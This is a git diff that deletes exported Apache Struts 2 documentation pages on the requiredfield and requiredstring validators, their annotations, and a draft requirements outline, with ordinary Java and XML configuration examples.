-    &lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/requiredfieldvalidator-annotation.html b/content/docs/requiredfieldvalidator-annotation.html
deleted file mode 100644
index 2dea151..0000000
--- a/content/docs/requiredfieldvalidator-annotation.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>RequiredFieldValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="requiredfieldvalidator-annotation.html">RequiredFieldValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">RequiredFieldValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14293">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14293">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14293">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14293">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14293">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14293">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a field is non-null.</p>
-
-<h2 id="RequiredFieldValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="RequiredFieldValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="RequiredFieldValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@RequiredFieldValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/requiredstring-validator.html b/content/docs/requiredstring-validator.html
deleted file mode 100644
index 78c90c9..0000000
--- a/content/docs/requiredstring-validator.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>requiredstring validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="requiredstring-validator.html">requiredstring validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">requiredstring validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14303">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14303">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14303">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14303">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14303">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14303">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="requiredstringvalidator-Description">Description</h1>
-<p>RequiredStringValidator checks that a String field is non-null and has a length &gt; 0.
-(i.e. it isn't ""). The "trim" parameter determines whether it will {@link String#trim() trim}
-the String before performing the length check.  If unspecified, the String will be trimmed.</p>
-
-<h1 id="requiredstringvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>trim - (Optional) Boolean, default true. Trims the field name value before validating.</li><li>trimExpression - (Optional) String. Specifies the trim param as an OGNL expression.</li></ul>
-
-<h1 id="requiredstringvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-    &lt;validators&gt;
-        &lt;!-- Plain-Validator Syntax --&gt;
-        &lt;validator type=&quot;requiredstring&quot;&gt;
-            &lt;param name=&quot;fieldName&quot;&gt;username&lt;/param&gt;
-            &lt;param name=&quot;trim&quot;&gt;true&lt;/param&gt;
-            &lt;message&gt;username is required&lt;/message&gt;
-        &lt;/validator&gt;
-        
-        &lt;!-- Field-Validator Syntax --&gt;
-        &lt;field name=&quot;username&quot;&gt;
-        	  &lt;field-validator type=&quot;requiredstring&quot;&gt;
-                &lt;param name=&quot;trim&quot;&gt;true&lt;/param&gt;
-                &lt;message&gt;username is required&lt;/message&gt;
-           &lt;/field-validator&gt;
-        &lt;/field&gt;
-
-        &lt;!-- Field-Validator Syntax with expression --&gt;
-        &lt;field name=&quot;username&quot;&gt;
-        	  &lt;field-validator type=&quot;requiredstring&quot;&gt;
-                &lt;param name=&quot;trimExpression&quot;&gt;${trimValue}&lt;/param&gt; &lt;!-- will be evaluated as: boolean getTrimValue() --&gt;
-                &lt;message&gt;username is required&lt;/message&gt;
-           &lt;/field-validator&gt;
-        &lt;/field&gt;
-    &lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/requiredstringvalidator-annotation.html b/content/docs/requiredstringvalidator-annotation.html
deleted file mode 100644
index 13dc711..0000000
--- a/content/docs/requiredstringvalidator-annotation.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>RequiredStringValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="requiredstringvalidator-annotation.html">RequiredStringValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">RequiredStringValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13872">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13872">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13872">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13872">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13872">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13872">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This validator checks that a String field is not empty (i.e. non-null with a length &gt; 0).</p>
-
-<h2 id="RequiredStringValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method level.</p>
-
-<h2 id="RequiredStringValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="RequiredStringValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@RequiredStringValidator(message = &quot;Default message&quot;, key = &quot;i18n.key&quot;, shortCircuit = true, trim = true)
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/requirements.html b/content/docs/requirements.html
deleted file mode 100644
index 10f09fd..0000000
--- a/content/docs/requirements.html
+++ /dev/null
@@ -1,283 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Requirements</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="requirements.html">Requirements</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Requirements</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29362">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29362">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29362">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29362">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29362">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29362">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Under Construction</p></div></div>
-
-<h2 id="Requirements-Struts2:APlausibleRequirementsDocument">Struts 2: A Plausible Requirements Document</h2>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p> The outline for this document is adapted from <a shape="rect" class="external-link" href="http://www.amazon.com/exec/obidos/tg/detail/-/0201702258/apachesoftwar-20/" rel="nofollow">Writing Effective Use Cases</a>, pages 13-14. </p></div></div>
-
-<h3 id="Requirements-Chapter1.PurposeandScope">Chapter 1. Purpose and Scope</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="requirements.html">1a.</a></p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> What is the overall scope and goal? What is our mission statement? </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <a shape="rect" href="requirements.html">1b.</a></p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Who are the Sta [...]
-
-
-<h3 id="Requirements-Chapter2.TermsUsed/Glossary">Chapter 2. <a shape="rect" href="requirements.html">Terms Used / Glossary</a></h3>
-
